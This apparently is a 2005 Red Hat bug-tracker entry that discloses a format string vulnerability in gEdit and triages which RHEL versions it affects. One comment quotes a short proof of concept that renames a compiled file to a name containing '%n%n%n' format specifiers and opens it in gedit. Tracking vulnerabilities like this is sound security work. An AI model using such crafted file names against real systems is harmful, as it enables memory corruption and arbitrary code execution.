Description Josh Bressers 2005-06-06 16:49:39 UTC 
gEdit is prone to a format string vulnerability. Exploitation may occur when the
program is invoked with a filename that includes malicious format specifiers.
This issue could be exploited to corrupt arbitrary regions of memory with
attacker-supplied data, potentially resulting in execution of arbitrary code in
the context of the user running the program.
Comment 1 Josh Bressers 2005-06-06 16:51:11 UTC 
This issue should also affect RHEL3 and RHEL2.1
Comment 2 Josh Bressers 2005-06-06 16:52:34 UTC 
The following example is available (taken from securityfocus.com)

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c
Comment 3 Josh Bressers 2005-06-06 19:52:07 UTC 
This issue does not affect RHEL2.1
